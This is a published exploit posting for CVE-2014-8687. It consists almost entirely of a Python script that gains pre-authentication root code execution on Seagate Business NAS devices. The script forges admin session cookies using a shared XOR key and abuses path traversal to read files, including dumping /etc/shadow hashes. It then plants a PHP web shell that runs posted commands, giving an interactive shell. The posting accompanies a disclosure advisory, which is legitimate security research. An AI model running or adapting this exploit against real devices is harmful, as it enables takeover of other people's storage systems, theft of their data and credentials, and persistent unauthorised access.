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Seagate Business NAS 2014.00319 Remote Code Execution

Seagate Business NAS 2014.00319 Remote Code Execution
Posted Mar 1, 2015
Authored by OJ Reeves

Seagate Business NAS versions 2014.00319 and below suffer from a pre-authentication remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2014-8687
MD5 | e35f6f3a56acd35bddcaaae52d7922da

Seagate Business NAS 2014.00319 Remote Code Execution

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#!/usr/bin/env python
#
# Seagape
# =======
# Seagate Business NAS pre-authentication remote code execution
# exploit as root user.
#
# by OJ Reeves (@TheColonial) - for full details please see
# https://beyondbinary.io/advisory/seagate-nas-rce/
#
# Usage
# =====
# seagape.py <ip> <port> [-c [ua]]
#
# - ip : ip or host name of the target NAS
# - port : port of the admin web ui
# - -c : (optional) create a cookie which will give admin access.
# Not specifying this flag results in webshell installation.
# - ua : (optional) the user agent used by the browser for the
# admin session (UA must match the target browser).
# Default value is listed below
#
# Example
# =======
# Install and interact with the web shell:
# seagape.py 192.168.0.1 80
#
# Create admin cookie
# seagape.py 192.168.0.1 80 -c

import base64
import hashlib
import itertools
import os
import re
import socket
import sys
import urllib
import urllib2
import uuid
import xml.sax.saxutils

if len(sys.argv) < 3:
print "Usage: {0} <ip> <port> [-c [user agent]]".format(sys.argv[0])
sys.exit(1)

# Every Seagate nas has the same XOR key. Great.
XOR_KEY = '0f0a000d02011f0248000d290d0b0b0e03010e07'

# This is the User agent we'll use for most of the requests
DEFAULT_UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10'

# This is the description we're going to be reading from
LFI_FILE = '/etc/devicedesc'

# the base globals that will hold our state
host = sys.argv[1]
port = int(sys.argv[2])
cis = ''
hostname = ''
webshell = str(uuid.uuid1()) + ".php"

def chunks(s, n):
for i in xrange(0, len(s), n):
yield s[i:i + n]

def forward_interleave(a, b):
return ''.join(itertools.chain(*zip(itertools.cycle(a), b)))

def xor(s, k):
return ''.join(chr(ord(a) ^ ord(b)) for a, b in itertools.izip(s, itertools.cycle(k)))

def sha1(s):
return hashlib.sha1(s).hexdigest()

def decode(s):
f = xor(s, XOR_KEY)
return ''.join(chr(ord(a) ^ ord(b)) for a, b in chunks(f, 2))

def encode(s):
s = forward_interleave(sha1(s), s)
s = ''.join(a + chr(ord(a) ^ ord(b)) for a, b in chunks(s, 2))
return xor(s, XOR_KEY)

def make_request(uri = "/", ci_session = None, headers = None, post_data = None):

method = 'GET'

if not headers:
headers = {}

headers['Host'] = host

if 'User-Agent' not in headers:
headers['User-Agent'] = DEFAULT_UA

if 'Accept' not in headers:
headers['Accept'] = 'text/html'

if post_data:
method = 'POST'
post_data = urllib.urlencode(post_data)
headers['Content-Type'] = 'application/x-www-form-urlencoded'

if ci_session:
ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
headers['Cookie'] = 'ci_session={0}'.format(ci_session)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

http = ""
http += "{0} {1} HTTP/1.1\r\n".format(method, uri)

for h in headers:
http += "{0}: {1}\r\n".format(h, headers[h])

if post_data:
http += "Content-Length: {0}\r\n".format(len(post_data))

http += "\r\n"

if post_data:
http += post_data

s.send(http)

result = ""
while True:
data = s.recv(1024)
if not data:
break
result += data

s.close()

return result

def get_ci_session():
resp = make_request()

for l in resp.split("\r\n"):
m = re.findall("Set-Cookie: ([a-zA-Z0-9_\-]+)=([a-zA-Z0-9\+%=/]+);", l)
for name, value in m:
if name == 'ci_session' and len(value) > 40:
return decode(base64.b64decode(urllib.unquote(value)))

print "Unable to establish session with {0}".format(host)
sys.exit(1)

def add_string(ci_session, key, value):
prefix = 's:{0}:"{1}";s:'.format(len(key), key)
if prefix in ci_session:
ci_session = re.sub(r'{0}\d+:"[^"]*"'.format(prefix), '{0}{1}:"{2}"'.format(prefix, len(value), value), ci_session)
else:
# doesn't exist, so we need to add it to the start and the end.
count = int(ci_session.split(':')[1]) + 1
ci_session = re.sub(r'a:\d+(.*)}$', r'a:{0}\1{1}{2}:"{3}";}}'.format(count, prefix, len(value), value), ci_session)
return ci_session

def set_admin(ci_session):
return add_string(ci_session, "is_admin", "yes")

def set_language(ci_session, lang):
return add_string(ci_session, "language", lang)

def include_file(ci_session, file_path):
if file_path[0] == '/':
file_path = '../../../../../..' + file_path
return set_language(ci_session, file_path + "\x00")

def read_file(file_path, post_data = None):
resp = make_request(ci_session = include_file(cis, file_path), headers = {}, post_data = post_data)
return resp

def hashdump():
shadow = read_file('/etc/shadow')
for l in shadow.split("\n"):
if l and ':!:' not in l and ':x:' not in l:
parts = l.split(':')
print "{0}:{1}".format(parts[0], parts[1])

def cmd(command):
headers = {
'Content-Type' : 'application/x-www-form-urlencoded',
'Accept' : '*/*',
'User-Agent' : DEFAULT_UA
}

post_data = urllib.urlencode({'c' : command})
headers['Content-Type'] = 'application/x-www-form-urlencoded'

ci_session = urllib.quote(base64.b64encode(encode(cis)))
headers['Cookie'] = 'ci_session={0}'.format(ci_session)

url = 'http://{0}:{1}/{2}'.format(host, port, webshell)
req = urllib2.Request(url, headers = headers, data = post_data)

return urllib2.urlopen(req).read()

def shell():
running = True
while running:
c = raw_input("Shell ({0}) $ ".format(post_id))
if c != 'quit' and c != 'exit':
cmd(c)
else:
running = False

def show_admin_cookie(user_agent):
ci_session = add_string(cis, 'is_admin', 'yes')
ci_session = add_string(ci_session, 'username', 'admin')
ci_session = add_string(ci_session, 'user_agent', user_agent)
ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
print "Session cookies are bound to the browser's user agent."
print "Using user agent: " + user_agent
print "ci_session=" + ci_session

def show_version():
print "Firmware Version: {0}".format(get_firmware_version())

def show_cookie():
print cis

def show_help():
print ""
print "Seagape v1.0 -- Interactive Seagate NAS Webshell"
print " - OJ Reeves (@TheColonial) - https://beyondbinary.io/"
print " - https://beyondbinary.io/bbsec/001"
print "==========================================================================="
print "version - Print the current firmware version to screen."
print "dumpcookie - Print the current cookie to screen."
print "admincookie <ua> - Create an admin login cookie (ua == user agent string)."
print " Add to your browser and access ANY NAS box as admin."
print "help - Show this help."
print "exit / quit - Run for the hills."
print "<anything else> - Execute the command on the server."
print ""

def execute(user_input):
result = True
parts = user_input.split(' ')
c = parts[0]

if c == 'admincookie':
ua = DEFAULT_UA
if len(parts) > 1:
ua = ' '.join(parts[1:])
show_admin_cookie(ua)
elif c == 'dumpcookie':
show_cookie()
elif c == 'version':
show_version()
elif c == 'help':
show_help()
elif c == 'quit' or c == 'exit':
remove_shell()
result = False
else:
print cmd(user_input)
return result

def get_firmware_version():
resp = make_request("/index.php/mv_system/get_firmware?_=1413463189043",
ci_session = acis)
return resp.replace("\r", "").replace("\n", "").split("version")[1][1:-2]

def install_shell():
resp = make_request("/index.php/mv_system/get_general_setup?_=1413463189043",
ci_session = acis)
existing_setup = ''
for l in resp.split("\r\n"):
if 'general_setup' in l:
existing_setup = l
break

# generate the shell and its installer
exec_post = base64.b64encode("<?php if(isset($_POST['c'])&&!empty($_POST['c'])){system($_POST['c']);} ?>")
installer = '<?php file_put_contents(\'{0}\', base64_decode(\'{1}\')); ?>'.format(webshell, exec_post)
write_php = xml.sax.saxutils.quoteattr(installer)[1:-1]
start = existing_setup.index('" description="') + 15
end = existing_setup.index('"', start)
updated_setup = existing_setup[0:start] + write_php + existing_setup[end:]

# write the shell to the description
resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
ci_session = acis,
headers = { },
post_data = { 'general_setup' : updated_setup })

# invoke the installer
read_file(LFI_FILE)

# remove the installer
resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
ci_session = acis,
headers = { },
post_data = { 'general_setup' : existing_setup })

def remove_shell():
return cmd('rm -f {0}'.format(webshell))

print "Establishing session with {0} ...".format(host)
cis = get_ci_session()

if len(sys.argv) >= 4 and sys.argv[3] == '-c':
ua = DEFAULT_UA
if len(sys.argv) > 4:
ua = sys.argv[4]
show_admin_cookie(ua)
else:
print "Configuring administrative access ..."
acis = add_string(cis, 'is_admin', 'yes')
acis = add_string(acis, 'username', 'admin')

print "Installing web shell (takes a while) ..."
install_shell()

print "Extracting id and hostname ..."
identity = cmd('whoami').strip()
hostname = cmd('cat /etc/hostname').strip()
show_help()

running = True
while running:
try:
user_input = raw_input("Seagape ({0}@{1})> ".format(identity, hostname))
running = execute(user_input)
except:
print "Something went wrong. Try again."

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